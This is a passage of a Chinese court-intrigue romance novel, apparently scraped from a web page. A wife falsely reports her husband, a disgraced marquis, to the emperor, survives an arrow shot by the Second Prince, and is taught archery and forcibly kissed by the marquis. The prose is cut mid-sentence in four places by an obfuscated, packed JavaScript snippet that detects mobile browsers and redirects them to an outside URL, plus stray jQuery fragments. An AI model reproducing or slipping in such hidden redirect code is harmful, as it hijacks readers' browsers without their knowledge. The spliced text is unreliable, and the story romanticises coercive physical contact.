    -


    那兵部冯尚书挨了训，面色铁青地快步走出御书房，生怕再晚一步又被叫回去。行至景运门时，恰见监军御史范知远立于廊下，朝他望来，似等候已久。


    范知远率先作揖行礼，开口道：


    “见过尚书大人。尚书大人可知圣上召见镇北候所谓何事？”


    冯尚书素来不喜范知远，面上并未给对方好脸色，但也知他背靠二皇子，多少得留几分薄面，回道：


    “这圣上前脚才召见，范御史后脚就跟过来，这未免有些太快了吧？”


    “下官刚拜别二皇子。”


    果然三句话不离二皇子。


    “路过东华门时，见那镇北候夫人拿着鱼符匆匆忙忙入宫，后又问了守门的门监。听那门监说，镇北候夫人相当薄情，居然到圣上面前告镇北候的御状，说他私藏器械，买通禁卫，有谋逆之心，望圣上彻查。”


    冯尚书一听，居然和御书房里说的一字不漏，顿时心生蹊跷，说着是从门监那里打听到的，莫不是御书房混进了二皇子的人，反问：


    “你既已知晓，又何故再问我？”


    那范知远虽官阶比冯尚书低，却丝毫不畏惧，意味深长地反问：


    “既然冯尚书也知晓，为何不坦言直说呢？”


    冯尚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058385|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    书一时哑然，回道：


    “镇北候之事，非同小可，本官可不敢妄议。”


    言外之意，范知远就是在妄议。


    京中很快传出流言，说姜絮嫁给镇北候，是奔着立功去的。若是能找出镇北候通敌叛国的罪证，则是大功一件。


    最后得出结论：


    “此女甚是心机。”


    回府路上，姜絮拢着衣袖，侧脸几乎都快贴到车壁上，与叶淮生隔着天涯海角的距离。


    两个人各坐一端，不发一言，连彼此的呼吸声都刻意放轻，车厢里流淌着难以言说的压抑。


    姜絮撩开车帘，街市喧闹追了上来。


    货郎敲着梆子，孩童嬉戏追逐，酒肆小二招呼客人，各种声音缠到一起，衬得车厢里的沉默愈发滞闷，让人心烦。


    两人就这么一直尴尬地沉默着。


    直到马车“吱呀”一声停在侯府门口，车帘被内侍掀开，有风灌了进来，吹散些许沉闷。


    见叶淮生一动不动，姜絮率先起身，提着裙摆便要下车，手腕上却忽的被一阵冰凉攥住。


    叶淮生的掌心带着些许濡湿与清冷，他抬眸望着弯身在门口的她，略带愠怒地说道：


    “谁准你走了？”


    姜絮挣了挣，没挣脱，转头看他，眼底带着朦胧的雾气，硬声道：


    “这是我答应侯爷的事，侯爷也该完成答应我的事。”


    闻此，叶淮生怒意更甚，手上力度加大，几乎要将她的手腕捏断，连带着自己的手都在微微颤抖。


    想起上午才跟阿策说，说她头脑简单，做不了眼线。


    结果转眼，她就去跑去圣上面前告御状。


    告他私藏长枪，告他收买禁卫睁一只眼闭一只眼，最后竟把这两件小事扯到谋逆上。


    给他扣了顶好大的帽子。


    “呵……”他自嘲似地轻笑一声，松开了她的手腕，手掌按着膝盖，冷言道：


    “没想到吧，那柄碎骨枪，是先皇所赐，即使是当今圣上，也无法肆意剥夺。”


    所以，即使他被诬通敌叛国，圣上也留他一条命，不仅仅是稳定北境军心，更多的是因他与先皇的旧情。


    姜絮僵在原地，一句反驳的话都说不出来，只觉得如坠冰窟，周身泛起一阵寒意。


    见手腕被松开，她稍微挣回些力气，一手扶着车门，一手扶着内侍下车。


    脚尖刚踩到地上，膝盖突然一软，整个人不受控制地跌倒在地，左边膝盖骨狠狠擦着地面，疼得她“嘶”了一声。


    正狼狈地撑着地面准备起身时，抬头却见叶淮生正从车辕处一脚迈下。


    仿若没瞧见她似的，径直从她身上跨了过去。


    墨色的衣摆扫过她的膝盖，他连脚步都没顿一下，更没回头看她一眼。


    竟这般绝情。


    一旁的内侍连忙上前扶她，却被他狠狠地剜了一眼，顿时噤若寒蝉，推脱回宫复命，当即驾车离开。


    车尘远去，街边的叫卖声还在继续，风卷着门前落叶擦过她的眼角，疼痛从膝盖蔓延至心口。


    她像只被人遗弃的小猫，自顾自地轻轻揉着膝盖，手掌撑地，勉强站起身来，一步一挪，却听得身后有小声呼唤传来：


    “侯夫人……”


    她停住脚步，回头望去，却见巷子拐角处有一抹墨色身影。


    阿策？

 17. 小孩

    姜絮左右打量一眼，见禁卫军只是目视前方并未注意，于是按着膝盖，一瘸一拐来到巷子拐角。


    她挺直脊背，忍着膝盖处的疼痛，等着阿策开口。


    “属下有一事相求。”阿策单膝跪地，双手抱拳：


    “求夫人拿着侯爷的狼牙令，以侯爷夫人的身份到京郊义庄，审问侯爷的偏将林朔。”


    姜絮眉梢闪过一丝困惑，且放下她能不能拿到狼牙令之事，先问道：


    “这是为何？”


    “侯爷与属下都怀疑，林朔便是做伪证诬陷侯爷之人。”


    “那为何偏要我去？”


    “因为侯爷不去。”


    “侯爷不去自然有他的打算，我这样贸然闯去，岂不是乱了他的计划？”说着，姜絮欲转身离去，却又听得身后阿策声声恳切：


    “夫人，没有时间了。诬告侯爷的通敌证词里，牵扯到几个主战的副将和参将，说他们私藏粮草，同谋叛国。又将他们奋勇杀敌的功绩篡改成临阵逃脱，不日即将流放苦寒之地，妻女没入奴籍，彻底失去翻案的可能。”


    “不是延期三月吗？怎么会这么快？”


    “明面上延期三月，但侯爷在京中树敌太多，尤其是二皇子的人，都盼着他尽快定罪，所以故意以这些副将和参将为饵，想激怒侯爷。”


    姜絮明白了。


    一边故意拖着审判流程，不给他清白。


    另一边，又故意为难他的部下，想激怒他做出逾矩之事。


    卫珏之事，便是如此。


    当日她仅仅是拿着卫珏的狼牙令，便已能将他轻松激怒。若是他知道了此事，岂不是要闯入那昭狱，直接将那昭狱杀得血流成河。


    所以……


    姜絮突然反应过来：


    “侯爷不知道这事？”


    阿策点头默认：“属下和卫珏都没敢说。”


    姜絮应道，面上浮现一丝忧虑，但还是咬牙应下：


    “我先试试能不能拿到狼牙令。”


    叶淮生现在正在气头上，她并没有把握。


    而且此时，更该操心的，是春蒐之事。


    她刚走出两步，又被阿策叫住：


    “还有一事。”阿策继续说道，“属下已查出，林朔的家人被二皇子畜养的死士软禁在京郊别院。”


    “求夫人先救出林朔的家人，再去审问林朔，免了林朔的后顾之忧。”


    听闻此言，姜絮缓缓吐出一口气，只觉得肩上有千斤重的担子压着，无奈道：


    “阿策，你看我。”姜絮张开双手，在他面前转了一圈，一脸笑意地自嘲道：


    “你看我像有三头六臂的样子吗？”


    阿策没忍住笑道：


    “夫人生得这般好看，自然不是那三头六臂的怪物。”


    姜絮顿住脚步，心头忽的闪过一丝落寞，自顾自地淡然道：


    “好看吗？”


    可他从来没有这么说过，姜絮心中升起一丝莫名的怅惘，但很快又消散掉，说道：


    “既然我答应帮你办事，你也得帮我做一件事。”


    说罢，姜絮从怀里取出一封信笺，递与阿策：


    “交给青荷，要尽快。”


    -


    天色向晚的时候，落日余晖斜斜淌过青翠竹林，在影壁上投下斑驳竹影。


    姜絮立在影壁前，望着天边渐渐沉落的日头。


    侯爷已经一整天没有和她说话了，而且只字未提射箭的事。


    怕不是要反悔吧。


    见两个禁军正提着食盒路过，姜絮主动接过食盒，说由她来就好。


    借着送饭的由头，她脚步轻轻地来到书房门前，轻轻敲了敲：


    “侯爷，该用膳了。”


    声音不重，在这寂寂庭院显得格外清晰。


    屋内静悄悄的，没有一点声响。


    “侯爷。”姜絮又敲了两下，“该……”


    话未说完，便被屋内一声书页翻动的轻响打断。


    人在里面，只是不愿应声，看来气还没消。


    姜絮站了片刻，终究是没有再喊第三次，提着食盒转身离去。


    而门内，叶淮生翻动书卷的手早已停住，目光落在紧闭的门板上，眸色深沉，思绪复杂。


    他想了一下午都没想通，她为什么会突然告御状？


    他总觉得她有什么事在瞒着他。


    他想问，又不想问。


    而且，事情被揭穿，她居然还能跟什么事都没发生一样，这么坦然地叫他去用膳。


    她还有心情……


    她确实有心情。


    姜絮离开后不到片刻，叶淮生便推开房门，本想着四处走走透透气，走着走着就走到了西厢房的游廊。


    他没有刻意看向庭院，他只是余光瞥了眼眼院中梨树，却倏然脚步顿住。


    姜絮坐在梨树下的石桌旁，桌上搁着碗粟米粥，她就着一碟脆生生的咸菜，吃得津津有味，时不时还抬手拂去落在肩头的梨花，半点郁色也无，仿佛今日之事从未发生。


    或者说，她早已放下。


    她倒是豁达，那他呢？


    叶淮生站在原地，周身的怒火突然涌了上来，拳头攥得梆紧。


    他看着她一口咸菜一口粥，把托盘里仅有的两份的食物吃完，甚至还打开食盒盖子，往里面瞅了一眼，似乎盘算着把他那份也吃掉，但最后良心发现，合上盖子，嘴角漾着淡淡的笑意。


    区区咸菜和粥，就能吃得这么开心？


    不是尚书府的千金么？


    不是锦衣玉食么？


    怎么活得跟个乞丐一样？


    傍晚的风带着丝丝凉意，簌簌梨花打着旋儿飘下来，有些许花瓣被吹落廊下，落在叶淮生的衣衫一角，带起一阵轻浅的梨花香。


    恍惚间，竟与多年前城隍庙后的满树梨花的味道重叠，让他想起幼时的一些往事。


    他生于乱葬岗，父母不详，自小便是孤儿，全副身家只有城隍庙里的一块破麻席，平日靠着捡拾路人的贡品勉强生活。


    每年冬天，他都瑟缩在城隍庙的墙角，担心自己活不到第二年的春天。


    或许他命不该绝，他挨过了一个又一个冬天。


    直到九岁那年，他生了场重病，昏迷得神智不清的时候，被连人带席丢到了城隍庙□□。


    四五个年纪比他大很多的少年，每人各拿一把铁锹，在梨树下一铲一铲挖着，扬言要把他活埋。


    他脑袋昏沉，意识模糊，连救命的话都喊不出，就这么任由着他们把他丢进挖好的深坑。


    春雨过后的泥土，黏湿中带着一股咸腥，直往他眼里鼻里嘴里钻，似乎还有蚯蚓在他脸上爬。


    随着泥土越埋越厚，他的胸腔被死死压住，每一次呼吸都变得艰难，他想抬手挣扎，却连手都被湿土裹住。


    他们离去后，绵密的春雨又落了下来。


    雨丝冰凉，砸在脸上，像是无数根细密的针，扎得他千疮百孔。


    他用尽最后一丝力气睁眼，望向灰蒙蒙的天，望着满树梨花簌簌落下，黏在他的脸上，像是有人流落的滚烫的泪滴。


    失去意识的前一秒，他听见一声温软祥和得仿佛来自天际的呼唤：


    “孩子，撑住。”


    原来，还有人会把他当小孩。


    这便是他与青姨和阮伯的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058386|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    初识。


    后来他们就收养了他，日子过得清苦而又简单，几乎顿顿都是稀粥和咸菜，但他也吃得香甜。


    就像，此时在梨花树下，正吃得有滋有味的她。


    他的睫毛轻轻颤了颤，眼尾悄悄漫上一层湿意，却又被他硬生生逼了回去，再抬眼时，脸上半点波澜也无，片刻间便已恢复往日那般冷硬的模样。


    他拢了拢衣袖，缓步朝院中走去，朝梨树下的姜絮走去。


    还未走近，便被她察觉。


    姜絮尴尬地站起身来，手足无措地推了推下粗瓷碗，解释道：


    “我没有一个人偷吃，我只是饿得慌了，喝点粥填下肚子。”


    说着，她又把食盒打开，微微倾斜，露出里面的酱牛肉和清蒸鱼，说道：


    “这些我都没有吃，怕侯爷嫌……”


    “弃”字还没有说出来，便被他打断：


    “你欠我一个解释。”


    他就站在离她不到三尺的地方，她似乎闻到了他身上清冽的皂角香。


    她微微仰头，望见他平日里冷若冰霜的眼，此时竟没了往日的戾气。


    他明明是质问的语气，可她却没有感受到他的怒意。


    “什么解释？”她问。


    “今日。”他指尖敲了敲石桌，发出轻声脆响，她的心脏也跟着砰砰轻跳，“为何到圣上面前污蔑我？”


    “我若解释，侯爷会信吗？”她目光灼灼地望着他，眼神拷问他的内心。


    他似被烫到一般，移开了视线，右手背到身后，微微侧头，说道：


    “若是在理，自然相信。”


    “那我问侯爷，我们最开始的约定是什么？”姜絮问道。


    叶淮生垂眸，回道：


    “你若成功解封演武场，本侯便教你射箭之术。”


    “那演武场有没有正大光明解封？”姜絮又问，刻意把“正大光明”几个字咬得很重。


    叶淮生垂着的眼睫忽的一颤，似封尘已久的迷雾被人猛然戳透一般，嘴硬道：


    “那你也不该在圣上面前污蔑我。”


    “我何时污蔑你了？”姜絮反问，据理力争：“侯爷身负通敌叛国之罪，罪同谋逆，我状告侯爷谋逆，等同于往脏水上面泼脏水，用脏水换侯爷的演武场解封，侯爷不开心吗？”


    “而且……”姜絮顿了下，继续说道：


    “你不觉得圣上很好哄吗？”


    叶淮生眼里闪过一丝困惑，问道：


    “何出此言？”


    姜絮解释：


    “他们查了你半个月，都不能定你的罪。我入府不到一天，我哪里来什么揭发你的罪证？”


    叶淮生立在原地，沉默半晌，眼里的茫然逐渐变得清明，忽然瞳孔微微一缩，似是心里的郁结轰然贯通。


    若她直言求见圣上，圣上有前车之鉴，绝不会搭理她，她恐怕连圣上的面都见不到。


    但她直接告他谋逆，多疑的圣上宁可信其有，不可信其无，必然会见她，到时候她再胡乱扯些逻辑不通的罪证敷衍，最终才道明她的来意。


    他心底忽然浮出一个念头：她竟有这般玲珑剔透的心思。


    这个念头如一粒风沙，穿过紧闭的城门，落入他心里那座覆满寒霜的孤城。


    他浸在一种莫名的情绪里面，久久没有反应过来，直到他听到她的声音传来：


    “侯爷，现在该我问你了。”


    她的语气带着几分狡黠，羽毛似的过他的心尖。


    他垂眸望向她，见她嘴角噙着淡淡的笑，似揣着什么捉弄人的心思，顿时心里一阵忐忑，面上仍强装镇定，淡然道：


    “你问。”

 18. 高攀

    “侯爷生气，是因为被告御状生气，还是因为告御状的人是我而生气？”姜絮试探性地问道。


    他咳了两声，回道：


    “不管是谁，只要污蔑本侯，本侯都会生气。”


    “我才不信呢～”姜絮背着小手，脚尖踮地，步子迈得轻快，绕着他转了个圈，最后停在他身后约三步远的地方，一边倒退小步，一边冲着梨树下的背影调侃道：


    “侯爷是个小心眼，就算不污蔑侯爷，侯爷也会生气。”


    话音未落，姜絮便提着裙摆转身，小步快跑，跑到廊下扶着漆红廊柱微微喘息，回头却见他仍站在原地，似未曾挪动半步。


    暖融融的夕阳漏过素白梨花落在他身上，他的背影黏着星星点点斑驳的橘黄，衬得他的宽肩窄腰愈发利落挺拔，身形透着几分沉毅俊朗。


    真是好看啊，侯爷。


    她在心里慨叹，而后转身，踏着铺满金色夕阳的地砖，往演武场方向走去。


    就在她转身离开的时候，叶淮生也缓缓转过身来，目光落在她渐行渐远的背影上。


    她的发髻上扎着一根碧玉簪，垂下的流苏在夕照里晃出细碎的光，让她逆着光的灰暗背影多了一丝跃动的流光，一闪一闪，似散落在她发端的星芒。


    “见过侯爷。”


    阿策的声音在身后响起，叶淮生这才收回视线，望了眼阿策：


    “何事？”


    阿策回道：


    “夫人命属下将此信笺转交青荷，侯爷是否需先行过目？”


    叶淮生瞟了眼素净的信笺，并未在意，说道：


    “且随她去。”


    而后又问：


    “交代给你的事，都安排好了吗？”


    阿策双手抱拳：


    “按侯爷吩咐，属下已将林朔之事托付给候夫人。”


    下马车的时候，叶淮生刻意先行一步回府，便是给阿策留机会接近姜絮。


    他想试探一下，看她究竟有多大的本事。


    或者说，她究竟什么时候才露马脚？


    而肃立一旁的阿策，脸上浮现一丝忧虑：


    若候夫人当真出手，且不论成功与否，多多少少都会把自己置于险境，侯爷当真就不担心？


    -


    叶淮生走到演武场的时候，夕阳犹有余晖，漫天粉霞掺杂橘黄，他还未来得及欣赏，便听得“嗖”的一声箭响。


    姜絮站在离箭靶约五丈远的地方，这个距离近得几乎能看清靶心的纹路。


    她铆足了劲拉满弓弦，眯着眼睛瞄了半晌，而后松手放箭，箭羽飞了个歪歪扭扭的弧线，“咚”的一声，扎进箭靶之后的泥土里。


    姜絮自己都愣了一瞬，薄唇微张，面带惊诧，低头看了眼手里的弓，又看了看那只叛逃的箭，怎么想都觉得不对劲。


    她又往箭靶的方向挪近约半步的距离。


    忽有微风从身后掠过，带着几分檀木的香气，让她脖颈感到一阵凉意。


    她刚拉满弓弦，却察觉身侧有影子压下来，顿时心头一凛，手上的力道瞬间松脱。


    “啪”的一声，弓弦回弹，狠狠弹在她小臂上，疼得她轻“嘶”一声，当即甩了弓箭抱着小臂轻轻揉搓。


    弓箭贴着地面弹起又落下，随即被一只白得晃眼的手拾起。


    “候夫人当真受宠。”指尖拂过弓弦，嘴角噙着一抹似笑非笑，语气冷得让人发寒：“听说候夫人闹着要学射箭，圣上二话不说就解封了演武场。”


    这声音听着有几分熟悉，听得姜絮浑身汗毛竖起，仓促转身，匆忙对上一双锐利似鹰隼的眼眸。


    二皇子目光深沉地锁着她，像是透过她慌乱的眼神，将她的内心一览无余。


    她被他盯得后颈的汗毛根根竖起，握着小臂的手不自觉缩紧，她微微偏头，眼神看向一旁散落的箭矢，没有接他的话。


    “当初圣上打算找清白世家联姻镇北候府，消息传出去的时候……”二皇子指尖捻着箭羽，身形徐徐后退。


    一步，两步，三步……


    他一边后退一边漫不经心地说道：“求婚的折子，不说几百封，少说也有几十封。”


    他退到与她隔着百步的距离，抬手引弓，箭矢瞄准箭靶，而她默默躲到一旁，主动为他留出箭靶前的一大片空地。


    他眼底寒光一闪，视线追随着她，箭矢方向随之移动，继续说道：


    “这些求婚信，没有一封能够上达天听，除了……”


    箭矢的方向最终牢牢锁在姜絮身上，缓缓吐出两个字。


    “姜家。”


    隔着百步的距离，姜絮并未听清他的话语，但仍察觉到他语气里的不善。脚步停下的瞬间，她朝他这边望来，在看见那银晃晃的箭矢已经对准了她时，顿时脸色煞白，脚步不稳，踉跄着后退半步。


    “我想知道，候夫人，是哪边的人？”


    他的声音湮没在风中，而箭矢却破空而来。


    一道黑色的光芒，带着风声猎响，直向姜絮的面门飞来。


    姜絮吓得瞳孔骤缩，嘴唇微张，一瞬僵在原地，甚至连躲闪的念头都来不及升起。


    就在这生死一瞬，一道墨色身影横掠而出，一只有力的臂膀忽的揽住她的腰肢，将紧紧她护在怀中，随即一个旋身，堪堪躲过那支疾驰而来的箭。


    埋在他温热的胸膛，她清晰地听见他沉稳有力的心跳，鼻尖萦绕着似有若无的似秋风扫过荒草般的气息，生涩，寂寥，带着无边旷野的萧索。


    总让她无端想起初见他时，他一身的落寞。


    他垂眸看她，眼底是惯常的冷硬无情，却在望见她微微泛白的嘴角时，松了松掌心的力道，嘴上却不忘嘲讽：


    “某人装得还真像。”


    姜絮微微怔住，大脑还停留在劫后逃生的空白。


    “在本侯面前，膝盖骨跟没有似的，动不动就倒地不起。怎么见了二皇子，身板倒挺得笔直？躲也不知道躲一下？”


    姜絮听明白了，原来，他以为她在他面前摔倒，是故意卖惨。


    她顿时来了气，手掌用力推他的胸膛，想挣扎着站起，腰上却被他搂得更紧。她正欲开口辩解，却听见脚步声由远及近朝他们走来。


    她下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058387|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意识地抬眼，却先瞧见了他冷硬的侧脸。


    他的下颌线绷得极紧，薄唇抿成一条直线，目光凛凛，透着久经杀伐的压迫感。


    他嘴上说得决绝，手上力度却丝毫不减，随着二皇子脚步靠近，他甚至更用力地将她抱紧，下巴抵在她的发顶，动作亲昵又自然。


    再抬眼时，他的眉峰挑起一抹凌厉桀骜的弧度，眼里半点波澜也无：


    “不知二皇子殿下……下次又打算以哪种方式谋杀臣妻？”


    他顿了顿，小心翼翼将她鬓边凌乱的发丝撩到耳后，动作轻柔得不像话。


    从外人的角度看来，他俨然一副护犊情深的模样。只有姜絮知道，在他幽暗深邃的眼底，藏着他不为人知的算计。


    也正是在此时，她才看明白，为什么他会对她忽冷忽热。


    当着外人的面，他假意与她亲昵。


    而私底下，却恨不得她当场消失。


    一个罪臣侯爷，本就如履薄冰，却三番两次为她御前觐见，此事传出去，岂不是把她往风口浪尖上推。


    从二皇子看她时那志在必得的眼神，她已明白一二，此后少不了被他一番针对。


    “镇北候误会了。”二皇子假情假意地说道，“方才本王在教候夫人射箭，只是箭术不精，惭愧惭愧。”


    说着，二皇子盯着叶淮生怀里的姜絮，望着她躲在他怀里一脸懵怔的样子，说道：


    “夫人你说，是不是如此？”


    姜絮迎上他威胁的眼神，心下一凛，既惊又怕，一时不知该是顺从，还是反驳，本着多一事不如少一事，于是轻轻应了声“嗯”，算是默认，给他一个台阶下。


    话音落下的瞬间，她听见他近在耳畔的呼吸声一瞬变得粗重，似隐忍着莫大的怒气，揽着她腰肢的手暗中加大力度，疼得她忍不住在他怀里轻声闷哼。


    叶淮生没有搭他二人的话，反而挑衅道：


    “侯府乃封禁之地，二皇子无旨私闯，可担得起“私联罪臣”之名？”


    “镇北候此言差矣。”二皇子回道：


    “本王一直相信，你是遭奸人构陷，不过是时运不济，暂陷泥淖罢了，本王等着你沉冤昭雪，重掌兵权的那天。”


    说完，转身离开前，他特地又说了一次“本王等着你。”


    他的语气，不像真心实意，反倒是在放狠话。


    二皇子的身影消失在演武场的同时，叶淮生也嫌弃似的一把将怀里之人推了出去。


    对她的厌恶，在此时达到顶峰。


    姜絮踉跄几步，勉强站稳脚跟，回过神来，再抬眼时，却见他方才护着她的那点假意的温柔也消失得荡然无存。


    他冷冷地看着她：


    “本侯竟不知，你是何时勾搭上的二皇子？”


    姜絮缓缓吐出一口气，平复情绪后说道：


    “侯爷误会了。”


    他眉峰一挑，似来了兴趣，在斜阳晚风中立着，等着，她说她的难言之意。


    结果她轻飘飘地来了一句：


    “二皇子那般皇亲贵胄，龙章凤姿之人，自是不敢高攀。”

 19. 轻浮

    “皇亲贵胄？”


    “龙章凤姿？”


    叶淮生轻笑一声，似听了多大笑话似的，追问道：


    “你当真如此认为？”


    姜絮点头，在叶淮生眼里的怒火被点燃之前解释道：


    “侯爷你知道的，我这个人向来不喜欢背后说人坏话。”


    言下之意，这几句夸赞，不过是逢场恭迎罢了。


    叶淮生本来冷着的脸，被她这句厚脸皮的话气得嘴角抽了抽。


    说着，她又双手奉上弓箭，微微垫脚，凑到叶淮生眼前，讨好似地说道：


    “侯爷是不是来教我射箭的？”


    叶淮生瞥了眼，面无表情冷言道：


    “怎么？二皇子走了知道来找我了？”


    这语气，怎么听着有几分隐隐的委屈？


    姜絮摇头，语气肯定地安慰道：


    “就算二皇子没走，只要侯爷来了，那我肯定要弃暗投明奔向侯爷啊！”


    “好一个弃暗投明。”叶淮生嘴角扯着嘲讽，依旧绷着张疏离淡漠的脸，看起来拒她千里之外，但却突然抬手接过她递来的弓箭，语气不耐烦地说道：


    “看好了，本侯只教这一次。”


    姜絮还未来得及点头，手腕便被他握住，紧接着他宽阔紧实的腰背从身后覆了上来，将她拢在他怀里。


    他的胸膛贴着她的脊背，沉稳的气息拂过她的耳畔：


    “沉肩，坠肘。”


    被他紧紧圈在怀里，她连他的话语都无暇顾及，只是生硬地任凭他攥着她的手腕提起，她趁势拉着箭羽，耳畔又传来他耐着性子的话语：


    “瞄准的时候要心无旁骛……”


    他一连串说了半天，她一句都没听进去，只觉得他们现在的距离是不是太近了些，近得她能清晰地听见他沉稳有力的心跳。


    “放。”


    他一声令下，她突然回过神来，正欲松弦，他却忽然抬手，抓住箭羽，粗重的气息里带着一丝疑虑：


    “你刚刚……”


    他顿了下，沉声问道：


    “是不是走神了？”


    “我……”姜絮还未来得及开口，便觉手上一松，长箭脱弦，“嗖”的一声飞了出去，稳稳钉在箭靶的红圈里，力度之大，连带着整个箭靶微微颤动。


    指尖被弓弦震得发麻，她蹲在地上轻轻握拳舒缓，再起身时已悄然离开他的怀抱，她回身，冲他解释：


    “我只是没想到，我居然真的有一天能手握弓箭。”


    所以她才一瞬失神？


    叶淮生垂眸，打量着似陷在某种情绪中的姜絮，听她继续说下去：


    “而且，还是由你，由我们大兖第一神箭手，亲自教我射箭。”


    姜絮抬眸望他，眼里亮晶晶的，发丝被风吹得飞起，与身后即将没入昏沉暮色的落日融为一体，映得她眸中漾着些许暖意。


    那点暖意，软得像春水，缓缓淌过他冰封的心湖，发出如初春雪融冰消般清脆的裂响。


    他微微眯眼，探究地打量着她，目光却不受控制地落在她微张的唇瓣上。


    唇瓣饱满，唇线分明，本是淡淡的樱粉，被落日余晖映上一层橘黄，如浸了蜜般，散发着诱人的香甜。


    “怎么？这就就不敢想了？”他挑衅道，又一步靠近，带着侵略的气场。


    嗯？


    什么意思？


    姜絮大脑飞速运转，回忆跟他说过的每一句话，可是一点头绪都想不起来。


    可能是对他说的鬼话连篇太多了。


    她尴尬地咧咧嘴，见他缓步上前，她摆手后退，回道：


    “自是不敢……”


    话未说完，他却突然一把揽住她的腰肢，手上力度之大，几乎要将她拦腰掐断。


    听着她艰难的喘息，他突然来了兴致，耳根擦着她的脸颊，附在她的耳边低语：


    “如果本侯……还有让你更不敢想的呢？”


    她大脑一片空白，思索着“更不敢想”这几个字，感觉浑身血液都凝固了，微微侧头，手掌用力想挣脱他的怀抱，却被他揽得更紧。


    不等她反应，他突然扣着她的后颈，猝不及防吻了上去。


    他的吻又急又重，狠狠碾着她的薄唇，唇齿摩擦间，带着股沙场杀伐的戾气，似要将她如仇敌般啃噬。


    她下意识地想挣脱，却被他死死禁锢在怀里失了力气。


    她抬眸，却见他微阖的眼眸突然睁开，眸光闪过一抹清寒，挑衅似地回应她懵怔的眼神，唇上动作仍未停下，甚至得逞似的又加重几分。


    登徒子。


    以为这样就能捉弄到她？


    姜絮起初还僵着身子任他欺凌，察觉到他的意图后，她忽然踮起脚尖，双手环着他的脖颈，薄唇翕动，笨拙而又坦然地回应他故作侵略的吻。


    他正欲收回对她的惩戒，却察觉她原本毫无反应的唇瓣一瞬变得柔软，她甚至主动贴近他的胸膛，似乎这个吻，她求之不得。


    他猛地怔住，呼吸都乱了分寸。


    他未曾料到她竟然如此大胆，竟敢反过来撩拨。


    更让他恼怒的是，他竟无法分辨，她这撩拨，是真心，还假意。


    若是继续吻下去，岂不顺遂她意。


    他轻咬着她的唇瓣，怀中之人疼得“嘶”了一声，他才猛然将她松开。


    她被他亲得腿根发软，脚步虚浮，踉跄着后退几步，几欲倒地，又想他那冷漠的话语，硬是咬牙站稳脚跟。


    叶淮生站在原地，感受到唇瓣温热，似还残存她的气息。他抬手，拇指指腹擦过唇角，抹掉唇上一点濡湿。


    他目光清冷地看着她，面带愠色，正欲恶语相向，却察觉耳根在不受控制地发烫，连带着脸颊也似漫上一层薄红。


    他也不知自己是怎的，只是看着他微微开合的蜜唇，便如中蛊了一般，做出连自己都无法解释的行为。


    他明明带着几分强势与威逼靠近，却没想到会被她坦然的回应搅乱心神，甚至连身体都背叛了理智。


    而她，却跟个没事人一样，面无表情站在原地，似全然没有意识到他周身的怒意，伸手将被微风吹起的发丝撩到耳后，动作自然从容，仿佛刚才被他压着强吻的人不是她。


    她这般镇定自若，反倒显得他落了下风。


    “你嫁入侯府，便是本侯的人，本侯想对你怎样就怎样。”


    他生硬的解释，随着夜幕降临而泛起的凉意，一起漫上她的心头。


    她点头回他一个“好”字，声音极淡极轻，却重重地落在他心上。


    她刚才没有逆他心意，也正是因为明白这个道理。


    她好歹是个女子，而他正是血气方刚的年纪。


    不管他做出什么行为，她都能理解。


    她半蹲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058388|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在地，捡起刚才慌乱之中丢下的箭羽，指尖刚碰到弯弓，却听得脚步声起，衣角擦着皂靴。她知道，是他在步步远离。


    在最后一抹晚霞褪去前，在黑暗深沉的夜色完全笼罩演武场之前。


    她左手握着弓身，右手拉着箭羽搭弦。


    她眯起一只眼，视线锁着百步开外的箭靶，目光锐利如鹰隼，神色平静沉稳。


